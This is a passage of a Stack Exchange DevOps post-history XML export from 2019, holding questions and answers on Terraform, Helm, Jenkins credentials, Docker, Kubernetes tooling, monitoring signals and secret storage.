https://kubernetes.io/docs/concepts/storage/persistent-volumes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26539" PostHistoryTypeId="2" PostId="9045" RevisionGUID="153ffd90-f176-4296-bf53-f7e7ef96b08c" CreationDate="2019-08-28T23:30:52.787" UserId="12138" Text="You can make changes in `Main.tf` as specified below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_s3_bucket&quot; &quot;b&quot; {&#xD;&#xA;  count      = &quot;${length(var.domain_name)}&quot;&#xD;&#xA;  bucket     = &quot;${element(var.domain_name, count.index)}&quot;&#xD;&#xA;  acl        = &quot;public-read&quot;&#xD;&#xA;  policy     = &quot;${file(&quot;bucket-policy.json&quot;)}&quot;&#xD;&#xA;&#xD;&#xA;  website {&#xD;&#xA;    index_document = &quot;index.html&quot;&#xD;&#xA;    error_document = &quot;error.html&quot;&#xD;&#xA;&#xD;&#xA;    routing_rules = &lt;&lt;EOF&#xD;&#xA;EOF&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26540" PostHistoryTypeId="2" PostId="9046" RevisionGUID="fb0fb9f4-0e12-4eff-9e33-a62708af2c26" CreationDate="2019-08-28T23:38:48.277" UserId="12138" Text="In this case, the best way would be to use chef `data bags` which is specifically known for this.&#xD;&#xA;A great documentation is given at https://docs.chef.io/data_bags.html&#xD;&#xA;&#xD;&#xA;Also, As Roland pointed above in the comment, make sure to use `sensitive true` in your bash resource to avoid any such information printed on screen or going to the logs." ContentLicense="CC BY-SA 4.0" />
  <row Id="26543" PostHistoryTypeId="2" PostId="9047" RevisionGUID="d0e788b4-8963-41ca-8e93-e8feffddfda0" CreationDate="2019-08-29T05:34:15.350" UserId="354" Text="While this may be marked &quot;opinion-based&quot;, I hope that raise some reliable and tested patterns in allowing developers to run tasks on deployed instances. The deployment and operating  principles are:&#xD;&#xA;&#xD;&#xA;1. There is only one way to deploy applications: our CI/CD pipeline.&#xD;&#xA;  - A single pipeline of tools acts on behalf of the developers and operators to test that the application is production ready and then conducts the deployment.&#xD;&#xA;  - In principle only changes to *code* produce changes to deployed state.&#xD;&#xA;  - Corollary: **everything is code** - tests, infrastructure, configuration, _etc_ are all expressed as code.&#xD;&#xA;1. Infrastructure and instances are immutable&#xD;&#xA;  - interactive shell access to production instances is in principle denied.&#xD;&#xA;  - Metrics and configuration are agreed up front with the developers. Configuration is applied before the bake of an image.&#xD;&#xA;  - Logs, monitoring and instrumentation is visualised in an common dashboard.&#xD;&#xA;1. Admin and batch processes are defined before deployment and should be well-understood and agreed upon by ops and dev teams.&#xD;&#xA;&#xD;&#xA;## The problem&#xD;&#xA;&#xD;&#xA;There are some workloads which will require batch tasks to be run **in an unpredictable way** - we cannot predict at what frequency (bye, cron) and with what parameters they will need to be run.&#xD;&#xA;&#xD;&#xA;The simplest way to solve this problem is to allow access to the production instances to allow someone to interactively run the script. **However this breaks our design principles**. &#xD;&#xA;&#xD;&#xA;Although there are some other ways around this ( [Rundeck](https://www.rundeck.com/)), I would like answers related to **patterns**.&#xD;&#xA;&#xD;&#xA;**What pattern of ad-hoc processing works when your instances are immutable?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="26544" PostHistoryTypeId="1" PostId="9047" RevisionGUID="d0e788b4-8963-41ca-8e93-e8feffddfda0" CreationDate="2019-08-29T05:34:15.350" UserId="354" Text="Ad-hoc processing on immutable instances" ContentLicense="CC BY-SA 4.0" />
  <row Id="26545" PostHistoryTypeId="3" PostId="9047" RevisionGUID="d0e788b4-8963-41ca-8e93-e8feffddfda0" CreationDate="2019-08-29T05:34:15.350" UserId="354" Text="&lt;process&gt;&lt;immutable-servers&gt;&lt;operations&gt;&lt;patterns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26546" PostHistoryTypeId="2" PostId="9048" RevisionGUID="f0bbbe6d-192c-4195-94e1-75a66fabd263" CreationDate="2019-08-29T05:47:18.860" UserId="354" Text="I'm surprised nobody mentioned [the four golden signals]() explicitly as an answer, so I'll add it. Lifted directly from [Google's SRE Book chapter on monitoring distributed systems](https://landing.google.com/sre/sre-book/chapters/monitoring-distributed-systems/), it is suggested to **at least** collect metrics on the **&quot;Four Golden Signals&quot;**:&#xD;&#xA;&#xD;&#xA;&gt; 1. **Latency**:  &#xD;&#xA;&gt;   The time it takes to service a request. It’s important to distinguish between the latency of successful requests and the latency of failed requests. For example, an HTTP 500 error triggered due to loss of connection to a database or other critical backend might be served very quickly; however, as an HTTP 500 error indicates a failed request, factoring 500s into your overall latency might result in misleading calculations. On the other hand, a slow error is even worse than a fast error! Therefore, it’s important to track error latency, as opposed to just filtering out errors.&#xD;&#xA;&gt; 1. **Traffic**:  &#xD;&#xA;&gt; A measure of how much demand is being placed on your system, measured in a high-level system-specific metric. For a web service, this measurement is usually HTTP requests per second, perhaps broken out by the nature of the requests (e.g., static versus dynamic content). For an audio streaming system, this measurement might focus on network I/O rate or concurrent sessions. For a key-value storage system, this measurement might be transactions and retrievals per second.&#xD;&#xA;&gt; 1. **Errors:**   &#xD;&#xA;&gt; The rate of requests that fail, either explicitly (e.g., HTTP 500s), implicitly (for example, an HTTP 200 success response, but coupled with the wrong content), or by policy (for example, &quot;If you committed to one-second response times, any request over one second is an error&quot;). Where protocol response codes are insufficient to express all failure conditions, secondary (internal) protocols may be necessary to track partial failure modes. Monitoring these cases can be drastically different: catching HTTP 500s at your load balancer can do a decent job of catching all completely failed requests, while only end-to-end system tests can detect that you’re serving the wrong content.&#xD;&#xA;&gt; 1. **Saturation**:   &#xD;&#xA;    How &quot;full&quot; your service is. A measure of your system fraction, emphasizing the resources that are most constrained (e.g., in a memory-constrained system, show memory; in an I/O-constrained system, show I/O). Note that many systems degrade in performance before they achieve 100% utilization, so having a utilization target is essential. In complex systems, saturation can be supplemented with higher-level load measurement: can your service properly handle double the traffic, handle only 10% more traffic, or handle even less traffic than it currently receives? For very simple services that have no parameters that alter the complexity of the request (e.g., &quot;Give me a nonce&quot; or &quot;I need a globally unique monotonic integer&quot;) that rarely change configuration, a static value from a load test might be adequate. As discussed in the previous paragraph, however, most services need to use indirect signals like CPU utilization or network bandwidth that have a known upper bound. Latency increases are often a leading indicator of saturation. Measuring your 99th percentile response time over some small window (e.g., one minute) can give a very early signal of saturation.&#xD;&#xA;&gt; Finally, saturation is also concerned with predictions of impending saturation, such as &quot;It looks like your database will fill its hard drive in 4 hours.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; If you measure all four golden signals and page a human when one signal is problematic (or, in the case of saturation, nearly problematic), your service will be at least decently covered by monitoring. " ContentLicense="CC BY-SA 4.0" />
  <row Id="26547" PostHistoryTypeId="2" PostId="9049" RevisionGUID="87051355-8d23-4b3a-90d5-881bada3e5a4" CreationDate="2019-08-29T08:11:51.490" UserId="16821" Text="This can happen with releases in `FAILED` state as mentioned by [simbo1905][1] in her/his [answer][2]. &#xD;&#xA;&#xD;&#xA;Another case is if there's a previously deleted but not purged release with the same name. &#xD;&#xA;&#xD;&#xA;Doing another delete with the purge option on the release will free the name for reuse.&#xD;&#xA;&#xD;&#xA;    helm ls -a&#xD;&#xA;    helm ls -a | grep -e NAME -e name_of_release&#xD;&#xA;    helm delete --purge name_of_release&#xD;&#xA;&#xD;&#xA;Note: This issue https://github.com/helm/helm/issues/972 suggests that there is a parameter to force reusing the same name, however it also suggests to not use in production (i.e. do not automate with `replace` unless you know what you're doing).&#xD;&#xA;&#xD;&#xA;    &gt; helm install --help&#xD;&#xA;    [...]&#xD;&#xA;        --replace    re-use the given name, even if that name is already used. This is unsafe in production&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/10599/simbo1905&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/6518/16821" ContentLicense="CC BY-SA 4.0" />
  <row Id="26549" PostHistoryTypeId="2" PostId="9050" RevisionGUID="bd43a1bd-db30-4cf1-b942-b4965cc4e5be" CreationDate="2019-08-29T13:18:57.580" UserId="15538" Text="I would suggest using the Jenkins Credentials Plugin.&#xD;&#xA;&#xD;&#xA;Another method which is more useful in case the Jenkins nodes are not able to connect via SSH is by pushing it to some remote bucket from NodeA and using triggers or a webhook to pull it to NodeB. This might however require access to the internet." ContentLicense="CC BY-SA 4.0" />
  <row Id="26550" PostHistoryTypeId="2" PostId="9051" RevisionGUID="9b650956-fb43-431f-9abb-518bb94e23f5" CreationDate="2019-08-29T13:21:48.413" UserId="15538" Text="kubectl get sa --all-namespaces &#xD;&#xA;&#xD;&#xA;This will only provide the service accounts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In general, you can have a comma separated list of resources to display.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;kubectl get pods,svc,sa,deployments [-FLAGS]&#xD;&#xA;&#xD;&#xA;The FLAGS would apply to all the resources." ContentLicense="CC BY-SA 4.0" />
  <row Id="26565" PostHistoryTypeId="50" PostId="8755" RevisionGUID="eaaa14cf-cdbe-402d-8567-f142c532ce44" CreationDate="2019-08-29T16:02:25.297" UserId="-1" />
  <row Id="26567" PostHistoryTypeId="5" PostId="9041" RevisionGUID="91f0855b-5545-4c47-a5a8-2ce85b9e5bb8" CreationDate="2019-08-29T20:07:43.470" UserId="4328" Comment="Added relevant link" Text="Yes, storing your ssh keys directly on a build node is a bad practice. Nodes can be replicated, deleted, or given access to from other systems, and you don't want to lose track of what systems have access to your secrets.&#xD;&#xA;&#xD;&#xA;You should also not pass them directly into the build job, either as a parameter or as an environment variable. This can cause a huge headache with logging and tracking to make sure your keys aren't inadvertently output to places they shouldn't be. Instead, you should:&#xD;&#xA;&#xD;&#xA; 1. Use a centralized secret store (such as [Hashicorp Vault][1]) to retrieve the secrets at build run-time. &#xD;&#xA; 2. Use a plugin (such as the Credentials or [SSH Credentials][2] Plugin) to [reference][3] the keys during the build. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/pages/viewpage.action?pageId=111837892&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/SSH+Credentials+Plugin&#xD;&#xA;  [3]: https://jenkins.io/doc/book/pipeline/jenkinsfile/#handling-credentials" ContentLicense="CC BY-SA 4.0" />
  <row Id="26568" PostHistoryTypeId="50" PostId="6420" RevisionGUID="9c17153b-5db2-4e9a-ac96-462f2a7c8d3a" CreationDate="2019-08-30T00:03:30.507" UserId="-1" />
  <row Id="26569" PostHistoryTypeId="50" PostId="6308" RevisionGUID="7c68c4e5-5947-4f36-8d2d-eb692aaf585e" CreationDate="2019-08-30T01:02:30.270" UserId="-1" />
  <row Id="26570" PostHistoryTypeId="2" PostId="9056" RevisionGUID="05515e16-38b9-4fd3-a456-ba0c252f3a0e" CreationDate="2019-08-30T09:42:12.580" UserId="16829" Text="Using **systemd in Docker** is not really that straightforward.  &#xD;&#xA;&#xD;&#xA;However, [according to the doc on the docker hub](https://hub.docker.com/_/centos), **systemd** is now included in both the `centos:7` and `centos:latest` base containers.  &#xD;&#xA;However, you will need to include text similar to the example Dockerfile : &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM centos:7&#xD;&#xA;ENV container docker&#xD;&#xA;RUN (cd /lib/systemd/system/sysinit.target.wants/; for i in *; do [ $i == \&#xD;&#xA;systemd-tmpfiles-setup.service ] || rm -f $i; done); \&#xD;&#xA;rm -f /lib/systemd/system/multi-user.target.wants/*;\&#xD;&#xA;rm -f /etc/systemd/system/*.wants/*;\&#xD;&#xA;rm -f /lib/systemd/system/local-fs.target.wants/*; \&#xD;&#xA;rm -f /lib/systemd/system/sockets.target.wants/*udev*; \&#xD;&#xA;rm -f /lib/systemd/system/sockets.target.wants/*initctl*; \&#xD;&#xA;rm -f /lib/systemd/system/basic.target.wants/*;\&#xD;&#xA;rm -f /lib/systemd/system/anaconda.target.wants/*;&#xD;&#xA;VOLUME [ &quot;/sys/fs/cgroup&quot; ]&#xD;&#xA;CMD [&quot;/usr/sbin/init&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**I strongly recommend to read the full [description tab](https://hub.docker.com/_/centos?tab=description) documentation on the hub.** This will help you make it run correctly." ContentLicense="CC BY-SA 4.0" />
  <row Id="26571" PostHistoryTypeId="50" PostId="4106" RevisionGUID="4aef0442-4836-474b-b788-6034f43f9d2f" CreationDate="2019-08-30T10:02:05.253" UserId="-1" />
  <row Id="26572" PostHistoryTypeId="2" PostId="9057" RevisionGUID="9d3df489-ec04-4713-8997-2e3b3baa421b" CreationDate="2019-08-30T11:08:54.483" UserId="16664" Text="    Terraform v0.12.7&#xD;&#xA;    + provider.aws v2.25.0&#xD;&#xA;    + provider.null v2.1.2&#xD;&#xA;    + provider.template v2.1.2&#xD;&#xA;&#xD;&#xA;Hello, when I try run `terraform apply` after upgrading to 0.12 I get error:&#xD;&#xA;&#xD;&#xA;    module.elasticsearch.module.ec2.aws_instance.this[0]: Modifying... [id=i-075090c94e5117ce3]&#xD;&#xA;    module.elasticsearch.module.ec2.aws_instance.this[1]: Modifying... [id=i-01fddbae2487e2573]&#xD;&#xA;    &#xD;&#xA;    Error: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Releasing state lock. This may take a few moments...&#xD;&#xA;&#xD;&#xA;Also I found next errors in logs:&#xD;&#xA;&#xD;&#xA;    [DEBUG] plugin: plugin process exited: path=/home/giwery/partstech/terraform/terraform-beta/env-beta/.terraform/plugins/linux_amd64/terraform-provider-aws_v2.25.0_x4 pid=25405 error=&quot;exit status 2&quot;&#xD;&#xA;    2019/08/29 14:47:18 [DEBUG] module.elasticsearch.module.ec2.aws_instance.this[1]: apply errored, but we're indicating that via the Error &#xD;&#xA;    pointer rather than returning it: rpc error: code = Canceled desc = context canceled&#xD;&#xA;    2019/08/29 14:47:18 [DEBUG] module.elasticsearch.module.ec2.aws_instance.this[0]: apply errored, but we're indicating that via the Error &#xD;&#xA;    pointer rather than returning it: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;    2019/08/29 14:47:18 [ERROR] module.elasticsearch.module.ec2: eval: *terraform.EvalApplyPost, err: rpc error: code = Canceled desc = context canceled&#xD;&#xA;    2019/08/29 14:47:18 [ERROR] module.elasticsearch.module.ec2: eval: *terraform.EvalSequence, err: rpc error: code = Canceled desc = context canceled&#xD;&#xA;    2019/08/29 14:47:18 [ERROR] module.elasticsearch.module.ec2: eval: *terraform.EvalApplyPost, err: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;    2019/08/29 14:47:18 [ERROR] module.elasticsearch.module.ec2: eval: *terraform.EvalSequence, err: rpc error: code = Unavailable desc = transport is closing&#xD;&#xA;And I notice strange thing, terraform wants add to this ec2 `credit_specification {}` but instance type is i3.large...&#xD;&#xA;&#xD;&#xA;Maybe someone can help me. Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="26573" PostHistoryTypeId="1" PostId="9057" RevisionGUID="9d3df489-ec04-4713-8997-2e3b3baa421b" CreationDate="2019-08-30T11:08:54.483" UserId="16664" Text="Terraform | Error &quot;transport is closing&quot; when &quot;terraform apply&quot; after upgrading to 0.12" ContentLicense="CC BY-SA 4.0" />
  <row Id="26574" PostHistoryTypeId="3" PostId="9057" RevisionGUID="9d3df489-ec04-4713-8997-2e3b3baa421b" CreationDate="2019-08-30T11:08:54.483" UserId="16664" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26575" PostHistoryTypeId="5" PostId="8245" RevisionGUID="7a4a36a7-2742-41f9-83ca-cf0de8da28b0" CreationDate="2019-08-30T13:54:26.983" UserId="6619" Comment="deleted 3 characters in body" Text="There's apparently 2 methods one can use to leverage `tridentctl` to interact with a running Trident Pod in their Openshift/Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;### 1. Server string&#xD;&#xA;The `tridentctl` CLI can be instructed to talk to whatever server you want remotely using the `-s` or `--server` argument. In this context you could use the approach of remote shelling into the Trident Pod and then directing it to interact with the local Trident Orchestrator daemon.&#xD;&#xA;&#xD;&#xA;#### ***For example***&#xD;&#xA;&#xD;&#xA;    $ oc -n trident rsh trident-6bdbdbc5dd-l8qtr&#xD;&#xA;    Defaulting container name to trident-main.&#xD;&#xA;    Use 'oc describe pod/trident-6bdbdbc5dd-l8qtr -n trident' to see all of the containers in this pod.&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;Now to interact:&#xD;&#xA;&#xD;&#xA;    / # tridentctl -s 127.0.0.1:8000 get backend&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    |           NAME           | STORAGE DRIVER | ONLINE | VOLUMES |&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    | ontapnas_192.168.101.101 | ontap-nas      | true   |     389 |&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;### 2. Creating a Bash Function&#xD;&#xA;To expand on the above method, one could construct a shell function or alias in Bash to streamline this interaction like so:&#xD;&#xA;&#xD;&#xA;#### *Openshift*&#xD;&#xA;    tridentctl () {&#xD;&#xA;        oc rsh -t -n trident -c trident-main \&#xD;&#xA;            $(oc get pods -n trident -l app=trident.netapp.io -o jsonpath=&quot;{.items[].metadata.name}&quot;) \&#xD;&#xA;            tridentctl -s 127.0.0.1:8000 $*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;#### *Kubernetes*&#xD;&#xA;    tridentctl () {&#xD;&#xA;        kubectl exec -t -n trident \&#xD;&#xA;            $(kubectl get pods -n trident -l app=trident.netapp.io -o jsonpath=&quot;{.items[].metadata.name}&quot;) \&#xD;&#xA;            -c trident-main -- tridentctl -s 127.0.0.1:8000 $*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With one of these functions set, you could then run the following command from your macOS system:&#xD;&#xA;&#xD;&#xA;    $ tridentctl get storageclass -o json&#xD;&#xA;    {&#xD;&#xA;      &quot;items&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Config&quot;: {&#xD;&#xA;            &quot;version&quot;: &quot;1&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;basic&quot;,&#xD;&#xA;            &quot;attributes&quot;: {&#xD;&#xA;              &quot;backendType&quot;: &quot;ontap-nas&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;storagePools&quot;: null,&#xD;&#xA;            &quot;additionalStoragePools&quot;: null&#xD;&#xA;          },&#xD;&#xA;          &quot;storage&quot;: {&#xD;&#xA;            &quot;ontapnas_192.168.101.101&quot;: [&#xD;&#xA;              &quot;NA_01_aggr1&quot;,&#xD;&#xA;              &quot;NA_01_aggr2&quot;&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;#### ***How it works***&#xD;&#xA;The above function merely determines the name of the Pod within the `trident` namespace and then remotely executes the command `tridentctl` using the same method above (from method #1) of connecting to the locally running Trident Orchestrator daemon within the Pod using the `--server` string.&#xD;&#xA;&#xD;&#xA;The advantage with one of these approaches is that you simply can use a function/alias to codify it.&#xD;&#xA;&#xD;&#xA;#### ***Caveats***&#xD;&#xA;Keep in mind that with the above shell function/alias approach will not work with commands such as this:&#xD;&#xA;&#xD;&#xA;    $ tridentctl create backend -f &lt;backend-file&gt;&#xD;&#xA;&#xD;&#xA;because the files you'll be referencing with it, `-f &lt;backend-file&gt;`, will be local to the system where you'll be running the function/alias, but the `tridentctl` command will actually be executing within a Pod on another system. This Pod will not have access to your local system's filesystem.&#xD;&#xA;&#xD;&#xA;Your only options in this situation will be to either copy the file into the Pod's `/tmp` filesystem and execute it from there or to redirect the contents of the file, `&lt;backend-file&gt;` through a pipe, (`|`), for example:&#xD;&#xA;&#xD;&#xA;    $ cat &lt;backend-file&gt; | tridentctl create backend -f -" ContentLicense="CC BY-SA 4.0" />
  <row Id="26576" PostHistoryTypeId="2" PostId="9058" RevisionGUID="96580e0b-2ea9-41f9-aee9-99692e650821" CreationDate="2019-08-30T14:38:53.030" UserId="6393" Text="I'm running a container with the following: `docker run bot --restart-policy always`&#xD;&#xA;&#xD;&#xA;However, the container is never actually restarted if it exits due to a stack trace, e.g.,:&#xD;&#xA;&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/jirabot/source/jbot.py&quot;, line 32, in &lt;module&gt;&#xD;&#xA;        rtm = slack_client.rtm_read()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/slackclient/client.py&quot;, line 235, in rtm_read&#xD;&#xA;        json_data = self.server.websocket_safe_read()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/slackclient/server.py&quot;, line 283, in websocket_safe_read&#xD;&#xA;        data += &quot;{0}\n&quot;.format(self.websocket.recv())&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/websocket/_core.py&quot;, line 310, in recv&#xD;&#xA;        opcode, data = self.recv_data()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/websocket/_core.py&quot;, line 327, in recv_data&#xD;&#xA;        opcode, frame = self.recv_data_frame(control_frame)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/websocket/_core.py&quot;, line 358, in recv_data_frame&#xD;&#xA;        self.pong(frame.data)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/websocket/_core.py&quot;, line 301, in pong&#xD;&#xA;        self.send(payload, ABNF.OPCODE_PONG)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/websocket/_core.py&quot;, line 250, in send&#xD;&#xA;        return self.send_frame(frame)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/websocket/_core.py&quot;, line 275, in send_frame&#xD;&#xA;        l = self._send(data)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/websocket/_core.py&quot;, line 445, in _send&#xD;&#xA;        return send(self.sock, data)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/websocket/_socket.py&quot;, line 117, in send&#xD;&#xA;        return sock.send(data)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/ssl.py&quot;, line 707, in send&#xD;&#xA;        v = self._sslobj.write(data)&#xD;&#xA;    socket.error: [Errno 32] Broken pipe&#xD;&#xA;&#xD;&#xA;What am I missing about the purpose of the restart policy `always`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26577" PostHistoryTypeId="1" PostId="9058" RevisionGUID="96580e0b-2ea9-41f9-aee9-99692e650821" CreationDate="2019-08-30T14:38:53.030" UserId="6393" Text="Why does docker not restart on a stack trace?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26578" PostHistoryTypeId="3" PostId="9058" RevisionGUID="96580e0b-2ea9-41f9-aee9-99692e650821" CreationDate="2019-08-30T14:38:53.030" UserId="6393" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26579" PostHistoryTypeId="2" PostId="9059" RevisionGUID="5d003779-eb15-4715-b9e1-0e21fbb72b47" CreationDate="2019-08-30T14:47:17.487" UserId="7730" Text="The command line is order sensitive. This command:&#xD;&#xA;&#xD;&#xA;    docker run bot --restart-policy always&#xD;&#xA;&#xD;&#xA;Runs the `bot` image as a container with the value of `CMD` set to `--restart-policy always`. To modify the restart policy of the container being run, you need to pass the option after `run` and before your image name:&#xD;&#xA;&#xD;&#xA;    docker run --restart-policy always bot" ContentLicense="CC BY-SA 4.0" />
  <row Id="26581" PostHistoryTypeId="50" PostId="8737" RevisionGUID="9235336f-f5c2-44a9-b5e0-de66efa48efe" CreationDate="2019-08-30T17:00:57.273" UserId="-1" />
  <row Id="26583" PostHistoryTypeId="50" PostId="6747" RevisionGUID="ebf0c2f9-dab0-4c49-81ed-f9ecb4d4b629" CreationDate="2019-08-30T19:00:56.520" UserId="-1" />
  <row Id="26584" PostHistoryTypeId="50" PostId="6762" RevisionGUID="12c5bd3e-9d0a-4e6f-9beb-7f7374a744f0" CreationDate="2019-08-30T20:01:30.183" UserId="-1" />
  <row Id="26591" PostHistoryTypeId="50" PostId="8743" RevisionGUID="9ab2d042-de19-4ea0-ab97-fc5cf17d0f4e" CreationDate="2019-08-31T00:02:35.243" UserId="-1" />
  <row Id="26592" PostHistoryTypeId="50" PostId="6760" RevisionGUID="cb0cee4d-b9df-4daf-813b-d6e1ec6cb1fb" CreationDate="2019-08-31T05:02:25.327" UserId="-1" />
  <row Id="26593" PostHistoryTypeId="5" PostId="6769" RevisionGUID="f9738176-980b-4bf9-93b2-b4f539b4f8f6" CreationDate="2019-08-31T05:50:48.177" UserId="354" Comment="Add a link to the actual hashi product." Text="You could save the data in a database. That database can be also a container (deploy them both with docker-compose maybe). The database is password protected and it can persist its encrypted data on the disk between runs.&#xD;&#xA;&#xD;&#xA;Also you can use [Hashicorp Vault](https://www.vaultproject.io/) (see https://docs.docker.com/samples/library/vault/).&#xD;&#xA;&#xD;&#xA;Hope this helps" ContentLicense="CC BY-SA 4.0" />
  <row Id="26594" PostHistoryTypeId="24" PostId="6769" RevisionGUID="f9738176-980b-4bf9-93b2-b4f539b4f8f6" CreationDate="2019-08-31T05:50:48.177" Comment="Proposed by 354 approved by -1 edit id of 1061" ContentLicense="CC BY-SA 4.0" />
  <row Id="26595" PostHistoryTypeId="5" PostId="6769" RevisionGUID="d55fa60f-6c92-4768-a75d-bb265a151758" CreationDate="2019-08-31T05:50:48.177" UserId="40" Comment="deleted 19 characters in body" Text="You could save the data in a database. That database can be also a container (deploy them both with docker-compose maybe). The database is password protected and it can persist its encrypted data on the disk between runs.&#xD;&#xA;&#xD;&#xA;Also you can use [Hashicorp Vault](https://www.vaultproject.io/) (see https://docs.docker.com/samples/library/vault/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="26596" PostHistoryTypeId="50" PostId="8776" RevisionGUID="2dd3f94b-4629-402e-80c2-2e773dad703c" CreationDate="2019-08-31T09:01:50.223" UserId="-1" />
  <row Id="26600" PostHistoryTypeId="50" PostId="6864" RevisionGUID="6b86d04c-2aae-491c-94af-47129a7104f7" CreationDate="2019-08-31T10:00:36.220" UserId="-1" />
  <row Id="26602" PostHistoryTypeId="2" PostId="9061" RevisionGUID="8cfdc8f9-681a-4f01-afe7-16e603f16f62" CreationDate="2019-08-31T13:53:10.787" UserId="16854" Text="How to configure multi branch  pipeline job for bitbucket ....i have to clone from different branches and build the jobs.... I  found multi branch is the option... How to configure for bit bucket " ContentLicense="CC BY-SA 4.0" />
  <row Id="26603" PostHistoryTypeId="1" PostId="9061" RevisionGUID="8cfdc8f9-681a-4f01-afe7-16e603f16f62" CreationDate="2019-08-31T13:53:10.787" UserId="16854" Text="Jenkins multi branch pipeline configuration for bitbucket" ContentLicense="CC BY-SA 4.0" />
  <row Id="26604" PostHistoryTypeId="3" PostId="9061" RevisionGUID="8cfdc8f9-681a-4f01-afe7-16e603f16f62" CreationDate="2019-08-31T13:53:10.787" UserId="16854" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26605" PostHistoryTypeId="2" PostId="9062" RevisionGUID="7450256f-6d56-43c7-9181-40e6dc7ebece" CreationDate="2019-08-31T16:25:00.880" UserId="16855" Text="This worked for me on Ubuntu 18.04 LTS&#xD;&#xA;&#xD;&#xA;```bash&#xD;&#xA;apt install certbot&#xD;&#xA;apt install python3-certbot-dns-digitalocean&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[See this certbot issue][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/certbot/certbot/issues/6531#issuecomment-443812851" ContentLicense="CC BY-SA 4.0" />
  <row Id="26609" PostHistoryTypeId="50" PostId="8511" RevisionGUID="ad92653c-cc52-4161-84f2-c6ef1342b416" CreationDate="2019-08-31T23:01:05.467" UserId="-1" />
  <row Id="26610" PostHistoryTypeId="50" PostId="5612" RevisionGUID="e54ccba0-4c44-4c0a-a7f9-140e48c8974d" CreationDate="2019-09-01T02:02:50.380" UserId="-1" />
  <row Id="26611" PostHistoryTypeId="2" PostId="9064" RevisionGUID="3b1018bb-cf12-4c96-9909-cb670f0eca0e" CreationDate="2019-09-01T10:19:59.717" UserId="210" Text="&gt; And looking into the logs above, is it safe to run this task? And will&#xD;&#xA;&gt; we need any downtime for this?&#xD;&#xA;&#xD;&#xA;I would suggest to backup all artifacts and upload them to a new Nexus (I created [tag:n3dr] for this) as I have seen multiple errors in Nexus that did not give me enough confidence to just run some tasks. &#xD;&#xA;&#xD;&#xA;Once we deployed a new Nexus and included it in our build environment for two weeks we knew that everything was still working well. Then we applied some jobs to the old decommissioned Nexus and it turned out that it was fine.&#xD;&#xA;&#xD;&#xA;In summary, ensure that you have a another Nexus that is working well before executing tasks that could go wrong." ContentLicense="CC BY-SA 4.0" />
  <row Id="26612" PostHistoryTypeId="6" PostId="8970" RevisionGUID="e2cbf1ce-4a8a-4a5b-a264-8d617e3b2e42" CreationDate="2019-09-01T10:20:22.427" UserId="210" Comment="edited tags" Text="&lt;nexus&gt;&lt;n3dr&gt;" ContentLicense="CC BY-SA 4.0" />
